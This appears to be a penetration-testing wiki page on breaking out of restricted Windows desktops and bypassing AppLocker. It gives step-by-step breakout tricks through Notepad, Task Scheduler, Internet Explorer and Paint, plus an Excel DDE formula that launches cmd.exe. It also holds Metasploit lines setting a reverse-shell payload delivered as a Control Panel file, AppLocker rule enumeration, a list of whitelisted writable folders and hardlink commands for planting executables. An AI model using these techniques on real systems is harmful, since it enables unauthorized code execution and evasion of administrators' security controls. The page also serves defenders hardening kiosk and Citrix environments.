Windows utilities that can be used to bypass restrictions

Credit: <https://www.pentestpartners.com/security-blog/breaking-out-of-citrix-and-other-restricted-desktop-environments/>

## Notepad

We can try and create a file a new text file and save at as `file.bat` with the content of `cmd.exe` , double click on the file and a cmd will open.

## Cortana

McAfee uncovered and documented the security flaws in a lengthy blog post, with one simple issue being the fact that you could trigger the voice assistant from the lock screen (assuming Cortana is enabled in this respect, on default settings), and bring up a contextual Windows 10 menu simply by typing while Cortana is listening to a query.&#x20;

simply typing while Cortana starts to listen to a query on a locked device will bring up a Windows contextual menu, as shown below&#x20;

![](https://firebasestorage.googleapis.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-M4xwp6Mq18nX8yR4M5z%2Fuploads%2FsajbiwtRLNGq4iTSQzZL%2Ffile.png?alt=media)

## Task Scheduler

An interesting weakness, where some systems prevent access to cmd.exe, however it can still be scheduled to run via Task Scheduler. This can be done either via the command line scheduler (at.exe) or the GUI (taskschd.msc). A basic task can be created to run cmd.exe at a specific time (i.e. 1 minute in the future) or upon certain events such as when a user logs on.&#x20;

We can use it to make it run powershell from the path:&#x20;

`%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe`&#x20;

When a user logout and log back in&#x20;

## Task Manager

Task Manager: CTRL+SHIFT+ESC -> File -> Run New Task

## Printer

Right-click anywhere -> Print -> Find Printer -> browse to cmd.exe

## Internet Explorer

Get a cmd shell in Internet Explorer:&#x20;

### Address Bar

Enter in address bar:&#x20;

`file://C:\Windows\System32\cmd.exe`&#x20;

### Developer Tools

Developer Tools: Press F12 -> Performance Tab -> Press on 3rd icon "Importing Profile Session"

## Excel

Get a cmd.exe shell using Excel:&#x20;

Place this in a cell and press enter:&#x20;

`=cmd|' /k cmd.exe'!'A1'`&#x20;

## Windows Search

Get a cmd.exe or Powershell shell using Windows search:&#x20;

press Windows key and enter search. Note that admins frequently block cmd.exe and Powershell but forget to block Powershell ISE.&#x20;

## Shortcuts

Try shortcuts:&#x20;

Shift \* 5 = 5 sticky key&#x20;

Alt + F4 = shutdown computer &#x20;

Win + R  = run &#x20;

Ctrl  + Shift  + esc = task manager&#x20;

Ctrl + alt  + delete = help menu (task manager, change password , etc)   &#x20;

## Control Panel

Generating a simple x64 reverse shell in a .cpl format:&#x20;

```
use windows/local/cve_2017_8464_lnk_lpe 
set payload windows/x64/shell_reverse_tcp 
```

Invoking the shellcode via control.exe:&#x20;

`control.exe .\FlashPlayerCPLApp.cpl`&#x20;

\# or&#x20;

`rundll32.exe shell32.dll,Control_RunDLL file.cpl`&#x20;

\# or&#x20;

`rundll32.exe shell32.dll,Control_RunDLLAsUser file.cpl`&#x20;

## Paint&#x20;

An unusual, yet effective method of gaining a shell by creating a shortcut to cmd.exe by drawing certain colours in Microsoft Paint. Due to the encoding algorithm used to write BMP files, it is possible to dictate ASCII data written into a file by carefully selecting certain RGB colours.&#x20;

![IMAGE12](https://firebasestorage.googleapis.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-M4xwp6Mq18nX8yR4M5z%2Fuploads%2FweaIqzuH98wwPceSPQmO%2Ffile.jpeg?alt=media)

&#x20;   Open MSPaint.exe and set the canvas size to: Width=6 and Height=1 pixels&#x20;

&#x20;   Zoom in to make the following tasks easier&#x20;

&#x20;   Using the colour picker, set pixels values to (from left to right):&#x20;

```
1st: R: 10, G: 0, B: 0 
2nd: R: 13, G: 10, B: 13 
3rd: R: 100, G: 109, B: 99 
4th: R: 120, G: 101, B: 46 
5th: R: 0, G: 0, B: 101 
6th: R: 0, G: 0, B: 0 
```

&#x20;Save it as 24-bit Bitmap (\*.bmp;\*.dib)&#x20;

Change its extension from bmp to bat and run.&#x20;


# Applocker

advances the app control features and functionality of Software Restriction Policies.

AppLocker advances the app control features and functionality of Software Restriction Policies. AppLocker contains new capabilities and extensions that allow you to create rules to allow or deny apps from running based on unique identities of files and to specify which users or groups can run those apps.

Applocker prevent message look like this:&#x20;

`Program 'a.exe' failed to run: This program is blocked by group policy. For more information, contact your system administrator At line:1 char:1`   &#x20;

## View AppLocker policy&#x20;

User has a folder which is exempt from AppLocker Policy&#x20;

```
(Get-AppLockerPolicy -Local).RuleCollections 
or
Get-ChildItem -Path HKLM:Software\Policies\Microsoft\Windows\SrpV2 -Recurse 
or
reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe\560d03c2-b277-4331-8c59-bc7d4eb08359
```

![Example for Applocker](https://firebasestorage.googleapis.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-M4xwp6Mq18nX8yR4M5z%2Fuploads%2F1m0iRShU9cCKFf63mEaT%2Ffile.png?alt=media)

### PowerShell

There is a powershell module named AppLocker, which can query the AppLocker rules that are enforced on the current system. Below is a simple powershell script that outputs the rules in a readable format so you can use this information to bypass them.

```
Import-Module AppLocker
[xml]$data = Get-AppLockerPolicy -effective -xml

# Extracts All Rules and print them.
Write-Output "[+] Printing Applocker Rules [+]`n"
($data.AppLockerPolicy.RuleCollection | ? { $_.EnforcementMode -match "Enabled" }) | ForEach-Object -Process {
    Write-Output ($_.FilePathRule | Where-Object {$_.Name -NotLike "(Default Rule)*"}) | ForEach-Object -Process {Write-Output "=== File Path Rule ===`n`n Rule Name : $($_.Name) `n Condition : $($_.Conditions.FilePathCondition.Path)`n Description: $($_.Description) `n Group/SID : $($_.UserOrGroupSid)`n`n"}
    Write-Output ($_.FileHashRule) | ForEach-Object -Process { Write-Output "=== File Hash Rule ===`n`n Rule Name : $($_.Name) `n File Name :  $($_.Conditions.FileHashCondition.FileHash.SourceFileName) `n Hash type : $($_.Conditions.FileHashCondition.FileHash.Type) `n Hash :  $($_.Conditions.FileHashCondition.FileHash.Data) `n Description: $($_.Description) `n Group/SID : $($_.UserOrGroupSid)`n`n"}
    Write-Output ($_.FilePublisherRule | Where-Object {$_.Name -NotLike "(Default Rule)*"}) | ForEach-Object -Process {Write-Output "=== File Publisher Rule ===`n`n Rule Name : $($_.Name) `n PublisherName : $($_.Conditions.FilePublisherCondition.PublisherName) `n ProductName : $($_.Conditions.FilePublisherCondition.ProductName) `n BinaryName : $($_.Conditions.FilePublisherCondition.BinaryName) `n BinaryVersion Min. : $($_.Conditions.FilePublisherCondition.BinaryVersionRange.LowSection) `n BinaryVersion Max. : $($_.Conditions.FilePublisherCondition.BinaryVersionRange.HighSection) `n Description: $($_.Description) `n Group/SID : $($_.UserOrGroupSid)`n`n"}
}
```

## Bypass

By default allows execution of anything in:&#x20;

`%WINDIR%\*` &#x20;

`%PROGRAMFILES%\*`&#x20;

### Folders which are whitelisted&#x20;

```
C:\Windows\Tasks  
C:\Windows\Temp  
C:\windows\tracing 
C:\Windows\Registration\CRMLog 
C:\Windows\System32\FxsTmp 
C:\Windows\System32\com\dmp 
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys 
C:\Windows\System32\spool\PRINTERS 
C:\Windows\System32\spool\SERVERS 
C:\Windows\System32\spool\drivers\color 
C:\Windows\System32\Tasks\Microsoft\Windows\SyncCenter 
C:\Windows\SysWOW64\FxsTmp 
C:\Windows\SysWOW64\com\dmp 
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\SyncCenter 
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA\System 
```

if you can place a file or folder into the path you become the owner of that object and you can change the ACL either in GUI or using ICALS. That includes adding Execute rights and more. If deny execute is inherit you can either disable inheritance or you can use hardlink to a binary file in another folder using one of these commands:&#x20;

`fsutil hardlink create c:\windows\system32\fxstmp\evil.exe c:\myfolder\plantedfile.exe` &#x20;

`mklink /h c:\windows\system32\fxstmp\evil.exe c:\myfolder\plantedfile.exe` &#x20;

You can check the for additional paths by running accesschk from sysinternals and supplying these commands:&#x20;

```
accesschk -w -s -q -u Users "C:\Program Files" >> programfiles.txt 
accesschk -w -s -q -u Everyone "C:\Program Files" >> programfiles.txt 
accesschk -w -s -q -u "Authenticated Users" "C:\Program Files" >> programfiles.txt 
accesschk -w -s -q -u Interactive "C:\Program Files" >> programfiles.txt 

accesschk -w -s -q -u Users "C:\Program Files (x86)" >> programfilesx86.txt 
accesschk -w -s -q -u Everyone "C:\Program Files (x86)" >> programfilesx86.txt 
accesschk -w -s -q -u "Authenticated Users" "C:\Program Files (x86)" >> programfilesx86.txt 
accesschk -w -s -q -u Interactive "C:\Program Files (x86)" >> programfilesx86.txt 

accesschk -w -s -q -u Users "C:\Windows" >> windows.txt 
accesschk -w -s -q -u Everyone "C:\Windows" >> windows.txt 
accesschk -w -s -q -u "Authenticated Users" "C:\Windows" >> windows.txt 
accesschk -w -s -q -u Interactive "C:\Windows" >> windows.txt 
```

### Tools

* [**unlock** ](/infrastructure-testing/tools/unlock-applocker)**-** Microsoft Applocker evasion tool
* [**LOLBas** ](/infrastructure-testing/breakout/lolbas)- Living Off The Land Binaries And Scripts

## Resources

<https://blog.pwn.al/security/applocker/bypass/custom/rules/windows/2018/09/13/applocker-custom-rules-bypass.html>




---

[Next Page](/llms-full.txt/1)

